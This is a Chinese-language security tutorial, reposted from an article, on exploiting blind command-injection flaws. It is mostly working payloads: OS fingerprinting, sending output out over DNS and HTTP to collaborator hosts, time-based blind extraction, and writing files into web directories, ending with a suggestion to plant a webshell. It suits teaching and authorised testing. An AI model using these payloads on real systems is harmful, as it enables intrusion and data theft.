我們在挖掘命令執行漏洞時可能會遇到由於規則不允許寫文件但需要得到命令執行結果的情況,或服務器無法出網需要得到結果的情況,以及允許寫文件但找不到目錄的情況,那么這些問題可以如何解決呢。
本文主要從系統判斷方法、通過dnslog回顯任意命令結果、通過延時判斷命令執行結果和自動查找目錄寫文件四步來分享如何挖掘命令執行漏洞。
0x01 判斷系統方法
我們可以如何判斷系統呢?同一命令通過不同參數進行判斷,這里以Ping命令為例進行說明:
Ping命令在Linux和Win中的參數不同,在Linux中為-c參數,Win中為-n參數,效果可參考下圖,這里需要提到,錯誤的參數會導致命令執行錯誤。
Win: ping -n 3 baidu.com

Linux:ping-c3 baidu.com

Windows下的Ping命令每間隔一秒會發送一個ICMP ECHO_REQUEST 包,因此可以利用 Ping 命令來近似地模擬等待指定秒數的效果

其中 -n 后指定發送 ECHO_REQUEST 包的數量,也就是我們需要等待的秒數+ 1。需要+1 的原因是,第一個包不經過等待就會被發送,也可用choice /T 5 /CX /DX /N >null去延時。

命令讓用戶在一系列選項中作出選擇,並且可以被設置一個超時時間,因而也可以用來模擬等待。在 Windows Server 2003、 Windows Vista 及之后的版本可用。
特有命令判斷(certutil)可參考如下方式及效果圖:Certutil -urlcache -split –f http://446kjyche3fr57xdvfkifwvy1p7gv5.burpcollaborator.net/

0x02 通過dnslog回顯任意命令結果
當系統判斷完畢,我們可以通過dns來獲取命令執行的結果,比較簡單的例如`whoami`.xxx.com,這里需要提到的是,一般情況下dns傳遞結果的長度是有限的,那么如何通過dns來獲取較長的執行結果呢?筆者歸納了如下幾種方式供大家參考:
(1) 利用格式化輸出
命令如下:
(pwd;id;hostname)|xxd -ps -c 20|awk'{system("nslookup "NR"."$0".c.pproot.com")}'



(2) 通過curl傳遞結果
命令如下:
curl --connect-timeout 3 http://uushnjf9zjc7q5526djxushjbah19py.burpcollaborator.net/2/ -d data=$((id)|base64 -w 0)



0x03 通過延時判斷命令執行結果
命令執行結果回顯完畢,就需要通過延時來判斷命令執行的結果。
Linux環境下我們有兩種判斷方法:
方法一:
使用base32編碼命令的結果,再使用cut命令截取每一位,操作效果參考下圖:

方法二:
使用if [ $(whoami|base32|cut -c 1) ="O" ];then echo 1;fi,有輸出,
使用if [ $(whoami|base32|cut -c 1) = "q" ];then echo 1;fi,無輸出。

這樣操作就能夠產生布爾關系,將echo1換成sleep 2,進而可以像盲注一樣通過延時逐位獲取結果。
這里較為詳細的分析和腳本建議參考iceMatcha的博客,博客地址:https://icematcha.win/?p=532。
0x04 自動查找目錄寫文件
命令執行結果判斷完畢,我們可以開始自動寫文件,Linux環境下有兩種可供參考的自動寫文件的方法:
方法一:
find 命令:find . -type f -name 1.js

既然可以查找到js文件,那我們直接將寫文件的拼接起來即可,將id,pwd,hostname的結果寫在js/test1.txt中,命令find . -type f -name 1.js|while read f;do sh -c 'id;pwd;hostname;/sbin/ifconfig' >$(dirname $f)/test.txt;done,效果可參考下圖:

這里需要提到的是,locate和find 不同, find 可以在硬盤找,locate只能在/var/lib/slocate資料庫中找。一般情況下locate的速度會比find快,主要是因為locate並不是真的查找,而是查數據庫,這里以查找js文件的效果為例,可參考下圖:

在可以查找到js文件的條件下,我們可以直接將寫的文件進行拼接,將id,pwd,hostname的結果寫在js/test1.txt中,再訪問xxx.com/js/test1.txt即可。
這里需要我們熟悉基本的命令編寫及修改。locate /js/1.js|while read f;do sh -c 'id;pwd;ifconfig'>$(dirname $f)/test1.txt;done,命令效果參考下圖:

既然linux環境下可以運行上述操作,那么Win環境下是否同樣可以呢?
我們嘗試下:
Win查找文件命令dir /x /s /b index.html

成功查找到文件目錄,接着我們結合寫入操作,命令:cmd /c "for /f %i in ('dir /x /s /b index.html') do (echo%i>%i.path.txt)%26(ipconfig>%i.ipconfig.txt)"

成功創建index.html.path.txt和index.html.ipconfig.txt文件,效果參見下圖:

其中index.html.path.txt為路徑:

index.html.ipconfig.txt為ifconfig執行的命令結果:

有了路徑我們就可以直接寫webshell,或通過修改ifconfig命令快捷寫shell。
轉載:https://mp.weixin.qq.com/s/9cXGR7tlN_OAP-dMyZyHEw
(侵刪
